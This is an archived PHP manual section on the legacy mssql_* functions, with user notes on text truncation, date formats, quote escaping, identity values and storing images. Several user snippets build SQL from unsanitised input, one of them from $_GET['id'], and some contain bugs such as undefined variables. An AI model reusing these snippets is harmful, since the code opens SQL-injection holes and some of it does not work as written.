For some reason when an image is held in a blob, and you want to display this within a browser, I found I had to do the following.

I had to create a mini-php page, that looks essentially like the following psuedo code...

<?php # mini.php

$id = $_GET['id'];
$q = "select image from table where id = $id";
$image = mssql_query($q);

header("content-type image/jpeg");
echo($image);
?>

and then include this snippet within the core display page like this:

<html>
blah blah..
<img src='mini.php&id=<?php print $targetid; ?>'>
</html>

and BANG! it worked...
mir eder 28-Aug-2007 12:37
If you are having problems with truncated text fields from ODBC queries (pe. at 4096 characters), try some of the following:

in php.ini:
- odbc.defaultlrl = 65536

in your php code, before your queries:
- ini_set ( 'odbc.defaultlrl' , '65536' );
Lance 25-Aug-2007 11:03
If you want to update a "text" field > 1,000 odd characters you must use WRITETEXT or UPDATETEXT.. how you ask:

function mssql_updatetext($db_name, $table_name, $field_name, $where, $text) {
    // assume mssql db link already created etc
    $str_pos=0;
    $buffer_len = 1024;
    mssql_query("EXEC sp_dboption '{$db_name}', 'select into/bulkcopy', 'true'");
    while ($str_pos < strlen($text)) {
        $buffer = str_replace("'", "''", substr($text, $str_pos, $buffer_len)); // escape buffer
        mssql_query("DECLARE @ptrval binary(16)

                     SELECT  @ptrval = TEXTPTR($field)
                     FROM    [$table]
                     WHERE   $where

                     UPDATETEXT [{$table}].$field @ptrval $str_pos NULL $buffer");
        $str_pos += $buffer_len;
    }
    mssql_query("EXEC sp_dboption '$db_name', 'select into/bulkcopy', 'false'");

    return true;
}

// test it using "pubs" > pub_info.pr_info
mssql_updatetext(
    $db_name='pubs',
    $table_name='pub_info',
    $field_name='pr_info',
    $where='pub_id = 9999',
    $text=str_repeat("This is a long bit of text \r\n", 1000)
);
pance -at- stratcom -dot- ca 24-Aug-2007 03:43
DATE FORMATS
Format #     Query (current date: 12/30/2006)     Sample
1     select convert(varchar, getdate(), 1)     12/30/06
2     select convert(varchar, getdate(), 2)     06.12.30
3     select convert(varchar, getdate(), 3)     30/12/06
4     select convert(varchar, getdate(), 4)     30.12.06
5     select convert(varchar, getdate(), 5)     30-12-06
6     select convert(varchar, getdate(), 6)     30 Dec 06
7     select convert(varchar, getdate(), 7)     Dec 30, 06
10     select convert(varchar, getdate(), 10)     12-30-06
11     select convert(varchar, getdate(), 11)     06/12/30
101     select convert(varchar, getdate(), 101)     12/30/2006
102     select convert(varchar, getdate(), 102)     2006.12.30
103     select convert(varchar, getdate(), 103)     30/12/2006
104     select convert(varchar, getdate(), 104)     30.12.2006
105     select convert(varchar, getdate(), 105)     30-12-2006
106     select convert(varchar, getdate(), 106)     30 Dec 2006
107     select convert(varchar, getdate(), 107)     Dec 30, 2006
110     select convert(varchar, getdate(), 110)     12-30-2006
111     select convert(varchar, getdate(), 111)     2006/12/30

TIME FORMATS
8 or 108     select convert(varchar, getdate(), 8)     00:38:54
9 or 109     select convert(varchar, getdate(), 9)     Dec 30 2006 12:38:54:840AM
14 or 114     select convert(varchar, getdate(), 14)     00:38:54:840
pance at stratcom dot ca 24-Aug-2007 03:22
DATE FORMATS
Format #     Query (current date: 12/30/2006)     Sample
1     select convert(varchar, getdate(), 1)     12/30/06
2     select convert(varchar, getdate(), 2)     06.12.30
3     select convert(varchar, getdate(), 3)     30/12/06
4     select convert(varchar, getdate(), 4)     30.12.06
5     select convert(varchar, getdate(), 5)     30-12-06
6     select convert(varchar, getdate(), 6)     30 Dec 06
7     select convert(varchar, getdate(), 7)     Dec 30, 06
10     select convert(varchar, getdate(), 10)     12-30-06
11     select convert(varchar, getdate(), 11)     06/12/30
101     select convert(varchar, getdate(), 101)     12/30/2006
102     select convert(varchar, getdate(), 102)     2006.12.30
103     select convert(varchar, getdate(), 103)     30/12/2006
104     select convert(varchar, getdate(), 104)     30.12.2006
105     select convert(varchar, getdate(), 105)     30-12-2006
106     select convert(varchar, getdate(), 106)     30 Dec 2006
107     select convert(varchar, getdate(), 107)     Dec 30, 2006
110     select convert(varchar, getdate(), 110)     12-30-2006
111     select convert(varchar, getdate(), 111)     2006/12/30

TIME FORMATS
8 or 108     select convert(varchar, getdate(), 8)     00:38:54
9 or 109     select convert(varchar, getdate(), 9)     Dec 30 2006 12:38:54:840AM
14 or 114     select convert(varchar, getdate(), 14)     00:38:54:840
andrei_mole at yahoo dot com 24-Apr-2007 12:10
if you have a query that returns results in mssql, but run from php using mssql_query doesn't, check if you have any nvarchar fields and convert them to text using:
convert(text,nvarchar_field).
muratyaman at gmail dot com 24-Jan-2007 07:57
It is annoying that MSSQL does not return proper error numbers.

For example: run a simple "INSERT INTO ..." query that will cause an error and see it.

All I get is:

Code:       HY000
Message: (below)

SQLSTATE[HY000]: General error: 10007 INSERT statement conflicted with COLUMN FOREIGN KEY constraint 'FK...'. The conflict occurred in database 'DB...', table 'TBL...', column 'COL...'. [10007] (severity 5) [INSERT INTO ... ]

'HY000' does not help me at all and same thing is returned for other errors as well. (I am not sure, but if 10007 is the number I am looking for, I do NOT want to parse the error messages. Then why do we have the notion of "err_code and err_message"?)

I think, running the following just after the 'failed' query may help:

$err = your_query_and_fetch_row_func ('select @@error');

Cheers!
Murat

P.S. Firebird rocks! ;)
php at digitalbacon dot us 30-Dec-2006 02:41
When using this function on Linux with the FreeTDS dblib driver, some system stored procedures can return NULL values. This is because Microsoft SQL Server also uses a Windows-specific variant type in addition to the standard SQL types... like VB & OLE variants. For example:

<?php

// this works fine on Windows (using ntwdblib.dll)
$r = mssql_query(
'SELECT SERVERPROPERTY(\'productversion\')'
);

// but, you might want to do this instead (for Linux portability)
$r = mssql_query(
'SELECT CAST(SERVERPROPERTY(\'productversion\') AS VARCHAR)'
);

?>
vollmer at ampache dot org 02-Oct-2006 05:52
You need to escape ' with '' in mssql, however while doing a large dataset migration I ran into an issue with \0 (NULL) in the strings breaking the query. I ended up writting the below small little function, I'm sure it could be done faster/better but it has served me well.

<?php
function sqlEscape($sql) {

        /* De MagicQuotes */
        $fix_str        = stripslashes($sql);
    $fix_str    = str_replace("'","''",$sql);
    $fix_str     = str_replace("\0","[NULL]",$fix_str);

    return $fix_str;

} // sqlEscape
?>
haakon 30-Sep-2006 11:09
>>> So, switch your data type to text if you wish to have lengths more than 256 characters

or use

$sql = "SELECT CONVERT(TEXT, FieldName) FROM Table"
cuzco 31-Aug-2006 08:47
This one took me several days to figure out so I thought I'd post the solution to save others the hassle.

When using mssql_query with freetds inside a php class, you *MUST* include the "link_identifier" in the mssql_query() call otherwise all your queries will fail. This differs from MySQL where omitting the link identifier works without problem.

Here's an example class to illustrate the problem/solution

<?php
    class MSSQLDB
    {
        var $db_connection;

        // Constructor
        function __construct($inFreeTDSServerName, $inUser, $inPassword, $inDatabaseName)
        {
            $this->db_connection    = mssql_connect($inFreeTDSServerName, $inUser,$inPassword)
                        or die('Could not connect to '.$inFreeTDSServerName.' server');

            mssql_select_db($inDatabaseName)
                        or die('Could not select to '.$inDatabaseName.' database');
        }

        // Generic query function
        function query_database($inQuery)
        {
            // Always include the link identifier (in this case $this->db_connection) in mssql_query
            $query_result     = mssql_query($query, $this->db_connection)
                                                or die('Query failed: '.$query);

            if (strpos($inQuery, 'insert') === false)
            {
                // fetch the results as an array
                $result            = array();
                while ($row = mssql_fetch_object($query_result))
                {
                    $result[]    = $row;
                }

                // dispose of the query
                mssql_free_result($query_result);

                // return result
                return $result;
            }
            else
            {
                // dispose of the query
                mssql_free_result($query_result);

                // get the last insert id
                $query            = 'select SCOPE_IDENTITY() AS last_insert_id';
                $query_result     = mssql_query($query)
                                            or die('Query failed: '.$query);

                $query_result    = mssql_fetch_object($query_result);

                mssql_free_result($query_result);

                return $query_result->last_insert_id;
            }
        }
    }
?>

And to use the class with the following freetds.conf record

[SomeDatabaseServer]
    host = somedbserver.com
    port = 1433
    tds version = 8.0

<?php
    $db                = new MSSQLDB('SomeDatabaseServer', 'user', 'password', 'database');
    $query            = "select * from table";
    return $db->query_database($query);
?>
huberkev11 at hotmail dot com 12-May-2006 05:47
Solution for the following Error:

Warning: mssql_query() [function.mssql-query]: message: Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.

This is because you are using column types of like ntext instead of text.  There are 2 solutions.

1.  Change all ntext column types to text or
2.  Your query must look like: SELECT CAST(field1 AS TEXT) AS field1 FROM table
taavi at mydomainhere dot com 19-Apr-2006 06:49
watch out for mssql.timeout configuration value - if you dealing with scripts that take long time to run (backup managment, dts jobs), it might just stop running query in the middle without giving any php or sql error.
km at mcminndigital dot com 18-Apr-2006 08:17
Another note for the archives:

If for some reason you aren't on a windows platform (using FreeTDS etc), or on a older windows platform and are having a hard time with unicode errors with ntext and images there are two things to do:

1) make sure you odbc drivers are up to date
 :: or ::
2) make sure to convert any ntext or image fields in your select. If you need an image from a select then you are stuck with upgrading your odbc drivers if you are getting unicode errors.

Use mssql_field_type to get your field types however you want.

SELECT [Name], [UserID], [SomeValue], convert(TEXT, [Description]) FROM [MyDB.[dbo].[MyTable];
15-Apr-2006 01:35
If you are having problems with truncated text fields from mssql queries (pe. at 4096 characters), try some of the following:

in php.ini:
- mssql.textlimit = 65536
- mssql.textsize = 65536

in your php code, before your queries:
- mssql_query ( 'SET TEXTSIZE 65536' , $myConn );
- ini_set ( 'mssql.textlimit' , '65536' );
- ini_set ( 'mssql.textsize' , '65536' );
andrei_mole at yahoo dot com 07-Apr-2006 10:30
if anyone has faced a problem with displaying images from mssql image field it could be that they have an ole header put by sql.
here is an example. hope it helps:

<?php
$db=mssql_connect("server","user","pass");
$d=mssql_select_db("NorthWind", $db);
$sql = "SELECT Picture FROM Categories WHERE CategoryId=2";
$res = mssql_query($sql);
$row = mssql_fetch_array($res);
$data = $row['Picture'];
header("Content-Type: image/bmp");
//remove the ole header
$data = substr($data,78);
//print the pic in the browser
echo $data;
mssql_close();
?>
augustinus at netsession dot net 01-Mar-2006 07:53
Regarding the note of jesse at lostangel dot net, written on 17-Sep-2002 03:33 implementing the mysql_insert_id function for MSSQL I have a remark:

The example hasn't worked on my database server (SQL Server 2000 Standard Edition with SP3a, english) so i just left of the exec statement.
Instead I used:

$result = mssql_query("INSERT INTO STUFF(gaga,otherGaga) VALUES ('hello','apple'); SELECT @@IDENTITY as insertId;");

list ($gagaId) = mssql_fetch_row($result);
Rizwan Khan 22-Feb-2006 11:47
MSSQL will not let you use TEXT data in the where clause, TEXT data is BLOG data, its max size is 2,147,483,647 bytes (each character occupies one byte).
The varchar and char can have max of 8000 characters, so you can use text data in a where clause if you convert as follows convert(varchar(8000),SOMETEXTDATA)

select * from tHistory where myNotes=convert(varchar(8000),SOMETEXTDATA)
Rizwan Khan 22-Feb-2006 11:37
Just explaining how to get date in YYYY-MM-DD format much easily, when you use convert function in SQL you usually give the format as one of the arguments. for example <br>
select convert(varchar(20),getdate(),20)<br>
select convert(varchar(20),getdate(),120)<br>
will both return dates in yyyy-mm-dd hh:mi:ss(24h) format. you can also use <br>
select convert(varchar(20),getdate(),21)<br>
select convert(varchar(20),getdate(),121)<br>
in yyyy-mm-dd hh:mi:ss.mmm(24h) formats.<br>
So now when you have the date as string from either of the four convert functions you can either take the left part of the string or use a substring function to get the date in YYYY-MM-DD format.<br>
following are few examples.<br>
select left(convert(varchar(20),getdate(),20),10)<br>
select left(convert(varchar(20),getdate(),120),10)<br>
select left(convert(varchar(20),getdate(),21),10)<br>
select left(convert(varchar(20),getdate(),121),10)<br>
select substring(convert(varchar(20),getdate(),20),1,10)<br>
select substring(convert(varchar(20),getdate(),20),1,10)<br>
select substring(convert(varchar(20),getdate(),120),1,10)<br>
select substring(convert(varchar(20),getdate(),21),1,10)<br>
select substring(convert(varchar(20),getdate(),121),1,10)<br>
tristanx3 at rogers dot com 30-Dec-2005 04:35
It would appear that MSSQL will not let you use fields of the TEXT data type in WHERE clauses.

I tried running a simple query to get account data for a particular user based on email address, but the command was not returning any data.  I finally realized that this was because the emailaddress column was of the data type TEXT.  When I changed the WHERE clause in the query to test against a name, which was of type VARCHAR, the query worked perfectly.

I overcame this problem by converting the TEXT field to VARCHAR in the WHERE clause, as noted below:

<?php
### Field 'emailaddress' is of data type TEXT in the SQL database

# This would not work!
$sql = "SELECT * FROM accounts WHERE emailaddress = 'test@test.com'";

# Converting the data type inline solved the problem
$sql = "SELECT * FROM accounts WHERE CONVERT( VARCHAR, emailaddress ) = 'test@test.com'";
?>

This seems to have solved my problem, although I am still unsure of the limits (if any) to this solution.
12-Sep-2005 12:18
To get column of type datetime as varchar in format: "YYYY-MM-DD" you should use:

$query = "SELECT
   CAST(DATEPART(YYYY,row_date) AS CHAR(4)) + '-'
     + RIGHT(CAST(100+DATEPART(MM,row_date) AS CHAR(3)),2) + '-'
     + RIGHT(CAST(100+DATEPART(DD,row_date) AS CHAR(3)),2) + '' AS row_date,
            FROM TABLENAME WHERE id = '$id'";

(Where "row_date" is of type datetime)
11-Sep-2005 10:32
Another way how to use dates in queries:

$createdate="2005-01-30";

$query = "
DECLARE @newdate datetime;
SELECT @newdate=convert(varchar(100), '$createdate', 102);
INSERT INTO TABLE(NUMBER, DATE) VALUES ('$num', @newdate);"

and fire the query....
php at syntax101 dot com 08-Jul-2005 05:40
On certain server setups simply replacing a single quote with two single quotes will result in:
you\''d

I use the following function for single quote escaping quote for MSsql:

function escapeSingleQuotes($string){
    //escapse single quotes
    $singQuotePattern = "'";
    $singQuoteReplace = "''";
    return(stripslashes(eregi_replace($singQuotePattern, $singQuoteReplace, $string)));
}
php at syntax101 dot com 08-Jul-2005 05:39
On certain server setups simple replacing a single quote with two single quotes will result in:
you\''d

I use the following function for single quote escaping quote for MSsql:

function escapeSingleQuotes($string){
    //escapse single quotes
    $singQuotePattern = "'";
    $singQuoteReplace = "''";
    return(stripslashes(eregi_replace($singQuotePattern, $singQuoteReplace, $string)));
}
rzachris at yahoo dot com 19-May-2005 10:25
If you're having problems trying to get data stored in a varchar column with more than 255 chars use CONVERT to change the data type to TEXT like this:

$query=mssql_query("SELECT table.id, CONVERT(TEXT, table.comment) AS comment FROM table");

Don't forget to set name for the column (AS comment) or you won't be able to retrieve the data ...
Ben Mullins 01-Feb-2005 03:11
Although mssql_query does not support datetime paramaters with stored procedures, there is a simple way of getting around it.

Bind the parameter as a string i.e. SQLVARCHAR or SQLCHAR

mssql_bind($stmt, "@JoinDate", value, SQLVARCHAR, false,null,19);

and then use the sql server function CONVERT() in your stored procedure to convert the parameter to a datetime variable before using it.

SELECT @JD = convert(datetime,@JoinDate,103)
warwick dot barnes at aad dot gov dot au 12-Jan-2005 01:13
Using PHP 4.3.9 and MSSQL Library 7.0, when I try to SELECT text from a column (field) defined as VARCHAR 8000 I get only the first 255 characters of the text - it's trucated for no apparent reason.

To get round this I changed the column type from VARCHAR 8000 to TEXT, but then the output was trucated to 4096 characters.

To fix this I changed two values in PHP.INI:

mssql.textlimit = 16384
mssql.textsize = 16384

Now my text is trucated to 16384 characters, which is big enough for me - but you can apparently use a value as large as 2147483647.
roger4a45 at yahoo dot es 27-Oct-2004 11:15
Using Aplication Role with PHP

Introduction

Aplication Role is a Microsoft SQL Server 2000 feature that allow to make control what "source" use your data. It means that you can allow select, inset or update operation from your PHP code and deny it from and ODBC source, Microsoft Access or any kind of application that want to use your data.

Scenario:

Imagina you have a DAtabase named MYDB. This DB has three table. TABLEA, TABLEB and TABLEC. Imagine that your user named 'nemesis' can access to TABLEA from anywhere but you want that from table B and C access from your PHP code.

Follow this steps

[From your MSSQL Administrator]

1 -. From your Database MYDB create a new role (Standard Role). Insert this user inside this role.
2 -. Edit permisions and deny any operation at TABLEB and TABLEC.
3 -. Create a new Role (Aplication Role). For intance  it named 'myaccess' with a password 'anypassword'.
4 -. Edit permisions and allow any operation you wish at TABLEB and TABLEC

[From your source] (I don't include any control errors to simplify source)

$s = mssql_connect('MYSERVER','nemesis','nemesispassword');
$b = mssql_select_db('MYDB',$s);

//This one activate application role. Any user permision are
//ignored. User permision are override with application role
// permisions.

$query = "EXEC sp_setapprole 'myaccess', 'anypassword'";
$b = mssql_query($query);
$result = mssql_query('SELECT * FROM TABLEB,$s);
[...]

Note: If you kill "$query = ..." you will find out that SELECT fails. If you insert that line $quey will be succeed. Now, nemesis only can take data from TABLEB and TABLEC through your PHP code. If he/She try to use that data through ODBC driver then he can not do it.

NOte: Application role drops when you make a mssql_close.
dennis at -nospam- darknoise d0t de 27-Sep-2004 02:02
In response to post from jesse at lostangel dot net from 18-Sep-2002:

INSERT ...
SELECT @@IDENTITY
may NOT work as desired!
While running multiple queries at the same time, you will get the last identity value generated, somewhere in your database.

If you need to know the identity value generated by your INSERT statement, use SCOPE_IDENTITY().
aleks [aleks AT linuxgalaxy DOT org] 16-Apr-2004 10:39
Just in case anyone is having problems with mssql_query calling a procedure, where the procedure has multiple SELECTs, INSERTs and/or UPDATEs and some do not return any kind of a result, but some do.
When trying to run mssql_query in that case an error: "Warning: mssql_fetch_array(): 1 is not a Sybase result index in ..." would result, or if one uses something like "SELECT @@IDENTITY" to return something for those statements an error: "Expected dbnextrow() to return NO_MORE_ROWS." would result.
A simple fix for the error(s) is to use "SET NOCOUNT ON" statement before any statements that do not return anything and then "SET NOCOUNT OFF" before any statements that do.

--Aleks
labrat457_minusthispart!_*-*_!yahoo.com 04-Feb-2004 07:50
You can run a stored proceedure AND get back a result set from mssql_query().  I figured this little trick out when I realized I couldn't use the mssql_init() function group for my stored procedure stuff as I needed datetime variables to be passed, and they are not supported.  However, you can "encapsulate" a snippet of stored procedure within a normal query that can be executed via mssql_query() and have a result value returned.  For example, here's a query which passes a store's local date and time to a stored procedure that converts it to the GMT values that is used internally by the rest of the database structure:
$temptime=time();
$storeid = 68;
$deptid = 70;
$StartDate = strftime("%b %d %Y %H:%M:%S",$temptime);
$spquery="
BEGIN
DECLARE @date datetime,
    @GMreturn datetime
SELECT @date='$StartDate'
execute TZ_toGMT '$storeid','$deptid',@date,@GMreturn OUTPUT
SELECT @GMreturn
END";

Now, when $spquery is passed to mssql_query(), it will return with a value for @GMreturn, which can be parsed out with mssql_fetch_array() as with any other query.
papaggel at csd dot uoc dot gr 21-Nov-2003 12:16
If you try to INSERT a large string to a MSSQLServer 2000 table attribute of type nvarchar/varchar/text/nchar/char, but it is limited to the first 256 characters do the following:

1. Open Tools->SQL Query Analyzer
2. In SQL Query Analyzer
    i.   Go to Tools->Options
    ii.  Select the "Results" tab
    iii. Change "Maximum characters per column" to something else
Me 29-Aug-2003 09:53
Kelsey made a note that the only character that MSSQL needs "escaping" is the single quote ', and it done by using two single quotes ''.  You will want to make sure that, when using strings, you contain the strings in single quotes, since you can't escape double quotes.

In addition, you won't find a mssql_escape_string() function (though there are for other DB's, i.e. mysql_escape_string()), but using:

$escapedString = str_replace("'","''",$stringToEscape);

Will accomplish the same thing.
jagos at ebrno dot net 24-Jul-2003 01:27
This's note about mssql and truncating binary output from database (mostly image ...), i spent about 2 days tuning this stuff and fortunately i made the hit ...
    so if you're experiencing truncates of your binary data read from mssql database (it looks like incomplete, broken or even no images) check mssql section of your php.ini file and set values of mssql.textlimit and mssql.textsize variables to their maximum (2147483647) or at least bigger size than the default is ... so i hope it helps a bit, have a good time
arnarb at oddi dot is 30-Apr-2003 03:16
If you'd like to store binary data, such as an image, in MSSQL, it's common to have problems with addslashes and co.

This is because the MSSQL parser makes a clear distinction between binary an character constants. You can therefore not easilly insert binary data with "column = '$data'" syntax like in MySQL and others.

The MSSQL documentation states that binary constants should be represented by their unquoted hexadecimal byte-string. That is.. to set the binary column "col" to contain the bytes 0x12, 0x65 and 0x35 you shold do "col = 0x126535" in you query.

I've successfully stored and retrieved jpeg images in a column with the "image" datatype. Here's how:

// storing a file
$datastring = file_get_contents("img.jpg");
$data = unpack("H*hex", $datastring);
mssql_query("insert into images (name, data)
         values ('img.jpg', 0x".$data['hex'].")");

// retrieving
$result = mssql_query("select data from images where name = 'img.jpg'");
$row = mssql_fetch_assoc($result);
header("Content-type: image/jpeg;");
echo $row['data'];

As you can see there is nothing to do with the image on they way out, just blurb out the buffer your recieve as with any other field type.
AzRaH 28-Feb-2003 11:15
If you are experiencing TRUNCATING issues trying to return more than 4096 bytes on a VARCHAR field try converting it to text:

CONVERT(TEXT, Yourfield)

EX:
$sql->db_select("SELECT cc_main.cc_entry_id, CONVERT(TEXT, cc_main.comment) FROM cc_main");
wind at wag dot nl 14-Nov-2002 09:55
Had a similar problem to Jesse

What I experienced with Microsoft SQLserver 2000 and PHP 4.1.2 was that if you execute a query consisting of multiple queries separated by a semicolon with mssql_query is that the queries themselves are executed but the connection is dropped immediately after that. It seems that the phpdriver doesn't count on this.
The EXEC solution (or maybe sp_executesql) works fine in these cases because to the db-library it is one statement.
php at netznacht dot de 11-Oct-2002 01:12
Just tried to give a string:

Welcome at Mike's   to the SQL Server:

He misinterpreted the \' as the end of the String.
MySQL will resolve  \' and not think that the String has ended.

You should replace the \' before constructing the MSSQL Query string.
jesse at lostangel dot net 18-Sep-2002 12:33
While trying to return a @@IDENTITY after an INSERT statement, the only way I could get a valid return result was to encapsulate the query within an EXEC like so:

    $result = mssql_query("
        exec(\"
        INSERT INTO Files
            (ownerId, name, sizeKB, path)
            VALUES ('$contactId', '$userfile_name', '$filesize', '$path')
        SELECT @@IDENTITY as fileId\")
        ");
    list($fileId) = mssql_fetch_row($result);

This returned the appropriate @@IDENTITY in a valid result set.  Not sure if mssql supports multiple inline commands or not.  But that assumption would back the useage of the EXEC command in order to execute these properly.
adamhooper at videotron dot ca 15-Jul-2002 08:15
As with all _query() functions, if there is no database connection and mssql_connect() fails, the return value will be NULL (not false).
cusaacb at squared dot com 20-Jun-2002 09:04
Using the latest version of freetds with support for tds ver 7.0.  I could not get more than 256 characters on varchar until I set the environment variable TDSVER=70.

Then it correctly returns all of the field.
arthur dot mcgibbon at btinternet dot com 09-Apr-2002 05:01
The mssql_execute etc. commands for stored procs do not seem to support a DATETIME type.
This means using mssql_query.
Now problems occur when you want to use parameters that have Input values and Output values.  SQL Server refuses to acknowledge the following...

declare @ret int, @i int
select @i = 25
exec @ret = testsp @Param1 = @i output
select @ret, @i

It doesn't like 2 select statements, even when the first is changed to "set".

To get round this, put the whole query into an exec command.
e.g.
mssql_query("exec('declare @ret int, @i int
select @i = 25
exec @ret = testsp @Param1 = @i output
select @ret, @i')"

This seems to work fine.
wraithgar at hotmail dot com 31-Jul-2001 10:49
We are using --with-sybase=/opt/sybase-11.9.2/

We had a problem at first getting mssql results w/ a text field to return anything more than 4096 bytes.
The mssql.textlimit and mssql.textsize parameters in php.ini had no effect on this.
Turns out you can control this from the mssql end w/ one simple query
mssql_query("set textsize 65536");

Of course, 65536 is just an example, use whatever value you need to get back as a max.

We tested it and the setting stayed through the whole connection, no need to run that query before EVERY one of your real queries.  However, it didn't seem to retain across sessions.. (sorry, can't simply run the query once and forget about it)

Hope this helps others who are banging their head on a wall like we were.


Get result data

  • « mssql_query
  • mssql_rows_affected »
  • PHP Manual
  • Mssql Functions
  • Get result data

mssql_result

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_result — Get result data

Description

string mssql_result ( resource $result , int $row , mixed $field )

mssql_result() returns the contents of one cell from a MS SQL result set.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

row

The row number.

field

Can be the field's offset, the field's name or the field's table dot field's name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), it uses the alias instead of the column name.

Note:

Specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Return Values

Returns the contents of the specified cell.

Examples

Example #1 mssql_result() example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username] FROM [php].[dbo].[userlist]');

// Check if there were any records
if (!mssql_num_rows($query)) {
    echo 'No records found';
} else {
    for ($i = 0; $i < mssql_num_rows($query); ++$i) {
        echo mssql_result($query, $i, 'username'), PHP_EOL;
    }
}

// Free the query result
mssql_free_result($query);
?>

The above example will output something similar to:

Kalle
Felipe
Emil
Ross

Example #2 Faster alternative to above example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username] FROM [php].[dbo].[userlist]');

// Check if there were any records
if (!mssql_num_rows($query)) {
    echo 'No records found';
} else {
    while ($row = mssql_fetch_array($query)) {
        echo $row['username'], PHP_EOL;
    }
}

// Free the query result
mssql_free_result($query);
?>

Notes

Note:

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than mssql_result().

See Also

Recommended high-performance alternatives:

  • mssql_fetch_row() - Get row as enumerated array
  • mssql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mssql_fetch_assoc() - Returns an associative array of the current row in the result
  • mssql_fetch_object() - Fetch row as object

User Contributed Notes

goodrichNOSPAM at raccoon dot com 27-Sep-2002 06:50
The "i" parameter appears to be the row number.  This was implied by checking mysql_result, which documents what the middle paramter specifies.


Returns the number of records affected by the query

  • « mssql_result
  • mssql_select_db »
  • PHP Manual
  • Mssql Functions
  • Returns the number of records affected by the query

mssql_rows_affected

(PHP 4 >= 4.0.4, PHP 5, PECL odbtp >= 1.1.1)

mssql_rows_affected — Returns the number of records affected by the query

Description

int mssql_rows_affected ( resource $link_identifier )

Returns the number of records affected by the last write query.

Parameters

link_identifier

A MS SQL link identifier, returned by mssql_connect() or mssql_pconnect().

Return Values

Returns the number of records affected by last operation.

Examples

Example #1 mssql_rows_affected() example

<?php
// Delete all rows in a table
mssql_query('TRUNCATE TABLE [php].[dbo].[persons]');

echo 'Deleted ' . mssql_rows_affected($link) . ' row(s)';
?>

User Contributed Notes

rowan dot collins at gmail dot com 31-May-2007 05:42
Note that, as the page says, this function expects an MSSQL *Link* resource, not a *result* resource. This is a bit counter-intuitive, and differs from, for instance, pg_affected_rows (though not, apparently, mysql_affected_rows).

<?php
$link = mssql_pconnect($db_host,$db_user,$db_pass);
mssql_select_db($db_name, $link);

$result = mssql_query('Select 1', $link);

$rows = mssql_rows_affected($result); # ERROR!
$rows = mssql_rows_affected($link); # Correct
?>


Select MS SQL database

  • « mssql_rows_affected
  • MySQL »
  • PHP Manual
  • Mssql Functions
  • Select MS SQL database

mssql_select_db

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_select_db — Select MS SQL database

Description

bool mssql_select_db ( string $database_name [, resource $link_identifier ] )

mssql_select_db() sets the current active database on the server that's associated with the specified link identifier.

Every subsequent call to mssql_query() will be made on the active database.

Parameters

database_name

The database name.

To escape the name of a database that contains spaces, hyphens ("-"), or any other exceptional characters, the database name must be enclosed in brackets, as is shown in the example, below. This technique must also be applied when selecting a database name that is also a reserved word (such as primary).

link_identifier

A MS SQL link identifier, returned by mssql_connect() or mssql_pconnect().

If no link identifier is specified, the last opened link is assumed. If no link is open, the function will try to establish a link as if mssql_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_select_db() example

<?php
// Create a link to MSSQL
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');

// Select the database 'php'
mssql_select_db('php', $link);
?>

Example #2 Escaping the database name with square brackets

<?php
// Create a link to MSSQL
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');

// Select the database 'my.database-name'
mssql_select_db('[my.database-name]', $link);
?>

See Also

  • mssql_connect() - Open MS SQL server connection
  • mssql_pconnect() - Open persistent MS SQL connection
  • mssql_query() - Send MS SQL query

User Contributed Notes

jack at downeastinternet dot com 28-Oct-2010 09:37
I have noted that mssql_select_db fails if the database name contains a dash or hyphen. for example a database named foo-bar will fail and the error that is returned indicates that the name was interpreted as only 'foo'
edoceo 20-Aug-2008 08:59
Use of square brackets to enclose the database name is also necessary if the name contains a dot: '.'

e.g.

mssql_select_db('Company.ERP');

Produces the error:
Warning: mssql_select_db(): Sybase:  Server message:  Could not locate entry in sysdatabases for database 'Company'. No entry found with that name. Make sure that the name is entered correctly. (severity 16, procedure N/A) in

mssql_select_db('[Company.ERP]');

Will select successfully


MySQL Drivers and Plugins

PHP offers several MySQL drivers and plugins for accessing and handling MySQL.

The differences and functionality of the MySQL extensions are described within the overview of this section.

  • Overview of the MySQL PHP drivers
    • Terminology overview
    • Choosing an API
    • Choosing a library
    • Concepts
  • Mysql — Original MySQL API
    • Introduction
    • Installing/Configuring
    • Changelog
    • Predefined Constants
    • Examples
    • MySQL Functions
  • Mysqli — MySQL Improved Extension
    • Introduction
    • Overview
    • Quick start guide
    • Installing/Configuring
    • The mysqli Extension and Persistent Connections
    • Predefined Constants
    • Notes
    • The MySQLi Extension Function Summary
    • mysqli — The mysqli class
    • mysqli_stmt — The mysqli_stmt class
    • mysqli_result — The mysqli_result class
    • mysqli_driver — The mysqli_driver class
    • mysqli_warning — The mysqli_warning class
    • mysqli_sql_exception — The mysqli_sql_exception class
    • Aliases and deprecated Mysqli Functions
    • Changelog
  • Mysqlnd — MySQL Native Driver
    • Introduction
    • Overview
    • Installation
    • Runtime Configuration
    • Incompatibilities
    • Persistent Connections
    • Statistics
    • Notes
    • Memory management
    • MySQL Native Driver Plugin API
  • mysqlnd_ms — Mysqlnd replication and load balancing plugin
    • Introduction
    • Quickstart and Examples
    • Concepts
    • Installing/Configuring
    • Predefined Constants
    • Mysqlnd_ms Functions
    • Change History
  • mysqlnd_qc — Mysqlnd query result cache plugin
    • Introduction
    • Quickstart and Examples
    • Installing/Configuring
    • Predefined Constants
    • mysqlnd_qc Functions
    • Change History
  • mysqlnd_uh — Mysqlnd user handler plugin
    • Introduction
    • Quickstart and Examples
    • Installing/Configuring
    • Predefined Constants
    • MysqlndUhConnection — The MysqlndUhConnection class
    • MysqlndUhPreparedStatement — The MysqlndUhPreparedStatement class
    • Mysqlnd_uh Functions
    • Change History
  • mysqlnd_mux — Mysqlnd connection multiplexing plugin
    • Introduction
